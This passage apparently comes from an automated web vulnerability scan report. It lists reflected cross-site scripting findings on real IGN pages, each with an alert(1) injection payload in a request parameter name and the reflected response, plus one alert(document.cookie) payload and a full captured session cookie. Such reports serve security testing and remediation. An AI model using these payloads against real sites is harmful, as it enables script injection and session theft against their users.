Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297041142.2; __utmc=173446715; s_pers=%20s_nr%3D1297041153777%7C1299633153777%3B%20s_lv%3D1297041153779%7C1391649153779%3B%20s_lv_s%3DFirst%2520Visit%7C1297042953779%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Axbox360.ign.com%3B%20s_c13%3Dmy.ign.com%253Axbox360.ign.com%3B%20s_sq%3D%3B; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=10089; decc=US; NGUserID=a016c08-31833-869633041-5; i18n-cc=US; freq=c-1297041296732v-1n-12mc+1297041296732mv+0mn+0wwe~0; __utma=1.1277650538.1297041360.1297041360.1297041360.1; __utmb=1; __utmc=1; __utmz=1.1297041360.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; __utmb=173446715; _br_uid_1=uid%3D3168630853761%3A

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:57 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297041296732v-2n-12mc+1297041296732mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 8476

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>IGN.com - IGN Entertainment</title>
   <link rel="stylesheet" href="http://corpm
...[SNIP]...
eof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://corp.ign.com/properties/ign.html?a9015"-alert(1)-"285d6843639=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.142. http://corp.ign.com/properties/ign.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/properties/ign.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70a21"><script>alert(1)</script>57433fb9041 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /properties/ign.html?70a21"><script>alert(1)</script>57433fb9041=1 HTTP/1.1
Host: corp.ign.com
Proxy-Connection: keep-alive
Referer: http://corp.ign.com/?64dab%22-alert(document.cookie)-%228250c170f0f=1
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297041142.2; __utmc=173446715; s_pers=%20s_nr%3D1297041153777%7C1299633153777%3B%20s_lv%3D1297041153779%7C1391649153779%3B%20s_lv_s%3DFirst%2520Visit%7C1297042953779%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Axbox360.ign.com%3B%20s_c13%3Dmy.ign.com%253Axbox360.ign.com%3B%20s_sq%3D%3B; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=10089; decc=US; NGUserID=a016c08-31833-869633041-5; i18n-cc=US; freq=c-1297041296732v-1n-12mc+1297041296732mv+0mn+0wwe~0; __utma=1.1277650538.1297041360.1297041360.1297041360.1; __utmb=1; __utmc=1; __utmz=1.1297041360.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; __utmb=173446715; _br_uid_1=uid%3D3168630853761%3A

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:51 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297041296732v-2n-12mc+1297041296732mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 8507

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>IGN.com - IGN Entertainment</title>
   <link rel="stylesheet" href="http://corpm
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://corp.ign.com/properties/ign.html?70a21"><script>alert(1)</script>57433fb9041=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.143. http://corp.ign.com/user-agreement.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/user-agreement.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33d36"><script>alert(1)</script>6b98d3a9224 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /user-agreement.html?33d36"><script>alert(1)</script>6b98d3a9224=1 HTTP/1.1
Host: corp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:40 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-315965756-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:14:40 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041280459v-1n-12mc+1297041280459mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 45096

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>User Agreement - IGN Entertainment</title>
   <link rel="stylesheet" href="http:
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://corp.ign.com/user-agreement.html?33d36"><script>alert(1)</script>6b98d3a9224=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.144. http://corp.ign.com/user-agreement.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/user-agreement.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d792e"-alert(1)-"381dcd5e694 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /user-agreement.html?d792e"-alert(1)-"381dcd5e694=1 HTTP/1.1
Host: corp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:42 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-3558-333530059-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:14:42 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041282193v-1n-12mc+1297041282193mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 45066

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>User Agreement - IGN Entertainment</title>
   <link rel="stylesheet" href="http:
...[SNIP]...
eof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://corp.ign.com/user-agreement.html?d792e"-alert(1)-"381dcd5e694=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.145. http://ds.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f985c"-alert(1)-"350b28818c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?f985c"-alert(1)-"350b28818c2=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26954-911003924-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:24 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041684454v-1n-12mc+1297041684454mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 156496

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Nintendo DS - DS &
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ds.ign.com/?f985c"-alert(1)-"350b28818c2=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.146. http://ds.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ccb3"><script>alert(1)</script>fd8eba6ee0e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?9ccb3"><script>alert(1)</script>fd8eba6ee0e=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:21 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:21 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-1825-1664550040-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:21 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041681499v-1n-12mc+1297041681499mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 156368

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Nintendo DS - DS &
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ds.ign.com/?9ccb3"><script>alert(1)</script>fd8eba6ee0e=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.147. http://ds.ign.com/articles/114/1144790p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/articles/114/1144790p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2fee"><script>alert(1)</script>feb0c62afa1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1144790p1.html?b2fee"><script>alert(1)</script>feb0c62afa1=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:47:21 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:47:21 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-671870716-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:47:21 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043241081v-1n-12mc+1297043241081mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 114971

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ds.ign.com/articles/114/1144790p1.html?b2fee"><script>alert(1)</script>feb0c62afa1=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.148. http://ds.ign.com/articles/114/1144790p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/articles/114/1144790p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 615b0"-alert(1)-"70bd57fc703 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1144790p1.html?615b0"-alert(1)-"70bd57fc703=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:47:26 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:47:26 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13272-220840444-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:47:25 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043245808v-1n-12mc+1297043245808mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 114911

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ds.ign.com/articles/114/1144790p1.html?615b0"-alert(1)-"70bd57fc703=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.149. http://ds.ign.com/articles/114/1147000p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/articles/114/1147000p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf59c"><script>alert(1)</script>f12d6b81cd4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147000p1.html?cf59c"><script>alert(1)</script>f12d6b81cd4=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:47:40 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:47:40 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22919-1042351517-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:47:40 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043260130v-1n-12mc+1297043260130mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 124871

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ds.ign.com/articles/114/1147000p1.html?cf59c"><script>alert(1)</script>f12d6b81cd4=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.150. http://ds.ign.com/articles/114/1147000p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/articles/114/1147000p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b1599"-alert(1)-"883c8f7eb7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147000p1.html?b1599"-alert(1)-"883c8f7eb7=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:47:50 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:47:50 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-23512-1315046045-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:47:50 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043270743v-1n-12mc+1297043270743mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 124828

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ds.ign.com/articles/114/1147000p1.html?b1599"-alert(1)-"883c8f7eb7=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.151. http://ds.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a750a"><script>alert(1)</script>0b52f57593c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/features.html?a750a"><script>alert(1)</script>0b52f57593c=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:49 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-1131264065-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041709653v-1n-12mc+1297041709653mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 145931

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Nintendo DS & DSi
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ds.ign.com/index/features.html?a750a"><script>alert(1)</script>0b52f57593c=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.152. http://ds.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a51fa"-alert(1)-"eea0e1cc2a2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/features.html?a51fa"-alert(1)-"eea0e1cc2a2=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:54 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:54 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24874-173225407-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:53 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041714006v-1n-12mc+1297041714006mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 146047

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Nintendo DS & DSi
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ds.ign.com/index/features.html?a51fa"-alert(1)-"eea0e1cc2a2=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.153. http://ds.ign.com/index/games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload abbe6"-alert(1)-"60b113bb3a0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/games.html?abbe6"-alert(1)-"60b113bb3a0=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:53 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:53 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19323-261436646-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:53 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041713228v-1n-12mc+1297041713228mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 180122

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>All Nintendo DS &
...[SNIP]...
f(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ds.ign.com/index/games.html?abbe6"-alert(1)-"60b113bb3a0=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.154. http://ds.ign.com/index/games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2dd18"><script>alert(1)</script>8dcff63431b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/games.html?2dd18"><script>alert(1)</script>8dcff63431b=1 HTTP/1.1
